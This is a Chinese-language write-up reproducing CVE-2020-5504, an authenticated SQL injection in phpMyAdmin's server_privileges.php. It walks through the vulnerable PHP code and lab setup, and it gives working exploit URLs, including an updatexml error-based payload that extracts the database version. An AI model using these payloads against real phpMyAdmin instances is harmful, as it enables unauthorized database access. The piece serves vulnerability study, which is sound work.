跳转至

(CVE-2020-5504)Phpmyadmin 后台sql注入漏洞

一、漏洞简介

在用户帐户页面中发现了一个SQL注入漏洞。创建对此页面的查询时,恶意用户可能会注入自定义SQL来代替其自己的用户名。攻击者必须具有有效的MySQL帐户才能访问服务器。

二、漏洞影响

Phpmyadmin \<= 5.00

Phpmyadmin \<= 4.94

三、复现过程

环境搭建

docker一把梭

docker run --name mysql5.6 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.6

`docker run --name myadmin -d --link mysql5.7:db -p 8080:80 phpmyadmin/phpmyadmin:5.0

溯源和构造poc

下载前一个版本 5.0.0的代码压缩包后, 打开libraries/classes/Server/Privileges.php 来到对应行.

if (isset($_GET['validate_username'])) {
            $sql_query = "SELECT * FROM `mysql`.`user` WHERE `User` = '"
                . $_GET['username'] . "';";
            // 省略 节省篇幅
        }

很显然可以看出注入点是$_GET['username'],而需要设置$_GET['validate_username']

往上看, 这段代码位于public function getExtraDataForAjaxBehavior函数.

搜索上层调用来到/server_privileges.php 的这段代码

if ($response-&gt;isAjax()
    &amp;&amp; empty($_REQUEST['ajax_page_request'])
    &amp;&amp; ! isset($_GET['export'])
    &amp;&amp; (! isset($_POST['submit_mult']) || $_POST['submit_mult'] != 'export')
    &amp;&amp; ((! isset($_GET['initial']) || $_GET['initial'] === null
    || $_GET['initial'] === '')
    || (isset($_POST['delete']) &amp;&amp; $_POST['delete'] === __('Go')))
    &amp;&amp; ! isset($_GET['showall'])
    &amp;&amp; ! isset($_GET['edit_user_group_dialog'])
) {
    $extra_data = $serverPrivileges-&gt;getExtraDataForAjaxBehavior(
        (isset($password) ? $password : ''),
        (isset($sql_query) ? $sql_query : ''),
        (isset($hostname) ? $hostname : ''),
        (isset($username) ? $username : '')
    );

    if (! empty($message) &amp;&amp; $message instanceof Message) {
        $response-&gt;setRequestStatus($message-&gt;isSuccess());
        $response-&gt;addJSON('message', $message);
        $response-&gt;addJSON($extra_data);
        exit;
    }
}

可以发现if里大部分条件都可控, 除了$response->isAjax()

public function isAjax(): bool
    {
        return $this-&gt;_isAjax;
    }

查看构造函数

/**
     * Creates a new class instance
     */
    private function __construct()
    {
        if (! defined('TESTSUITE')) {
            $buffer = OutputBuffering::getInstance();
            $buffer-&gt;start();
            register_shutdown_function([$this, 'response']);
        }
        $this-&gt;_header = new Header();
        $this-&gt;_HTML   = '';
        $this-&gt;_JSON   = [];
        $this-&gt;_footer = new Footer();

        $this-&gt;_isSuccess  = true;
        $this-&gt;_isDisabled = false;
        $this-&gt;setAjax(! empty($_REQUEST['ajax_request']));
        $this-&gt;_CWD = getcwd();
    }

可以看到这条件在于$_REQUEST['ajax_request']是否为空.

根据上面的几个条件 我们可以构造出如下最简单的poc

http://127.0.0.1:8080/server_privileges.php?ajax_request=true&amp;validate_username=true&amp;username=test%27%22

登陆后(这个操作需要权限) 尝试访问上面的url.返回如下

{"success":false,"error":"&lt;div class=\"error\"&gt;&lt;h1&gt;Error&lt;\/h1&gt;&lt;p&gt;&lt;strong&gt;Static analysis:&lt;\/strong&gt;&lt;\/p&gt;&lt;p&gt;1 errors were found during analysis.&lt;\/p&gt;&lt;p&gt;&lt;ol&gt;&lt;li&gt;Ending quote \" was expected. (near \"\" at position 53)&lt;\/li&gt;&lt;\/ol&gt;&lt;\/p&gt;&lt;p&gt;&lt;strong&gt;SQL query:&lt;\/strong&gt;  &lt;a href=\"#\" class=\"copyQueryBtn\" data-text=\"SELECT * FROM `mysql`.`user` WHERE `User` = 'test'&amp;quot;';\"&gt;Copy&lt;\/a&gt;\n&lt;a href=\".\/url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.6%2Fen%2Fselect.html\" target=\"mysql_doc\"&gt;&lt;img src=\"themes\/dot.gif\" title=\"Documentation\" alt=\"Documentation\" class=\"icon ic_b_help\"&gt;&lt;\/a&gt;&lt;a href=\"server_sql.php?sql_query=SELECT+%2A+FROM+%60mysql%60.%60user%60+WHERE+%60User%60+%3D+%27test%27%22%27%3B&amp;amp;show_query=1\"&gt;&lt;span class=\"nowrap\"&gt;&lt;img src=\"themes\/dot.gif\" title=\"Edit\" alt=\"Edit\" class=\"icon ic_b_edit\"&gt;&amp;nbsp;Edit&lt;\/span&gt;&lt;\/a&gt;    &lt;\/p&gt;\n&lt;p&gt;\nSELECT * FROM `mysql`.`user` WHERE `User` = 'test'&amp;quot;';\n&lt;\/p&gt;\n&lt;p&gt;\n    &lt;strong&gt;MySQL said: &lt;\/strong&gt;&lt;a href=\".\/url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.6%2Fen%2Ferror-messages-server.html\" target=\"mysql_doc\"&gt;&lt;img src=\"themes\/dot.gif\" title=\"Documentation\" alt=\"Documentation\" class=\"icon ic_b_help\"&gt;&lt;\/a&gt;\n&lt;\/p&gt;\n&lt;code&gt;#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '&amp;quot;'' at line 1&lt;\/code&gt;&lt;br&gt;&lt;\/div&gt;"}

一个sql报错信息, 说明这个最短poc生效了

利用的话 反正都回显了 直接updatexml报错注入

http://127.0.0.1:8080/server_privileges.php?ajax_request=true&amp;validate_username=true&amp;username=test%27%20and%20(select%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1))%20--%20

在返回最下面可以看到#1105 - XPATH syntax error: '~5.6.46~'

后言

这个洞要求一个可以登录的账号才能注入. , 另外这个请求似乎也不需要csrf-token(不过似乎没什么用)

参考链接

https://xz.aliyun.com/t/7092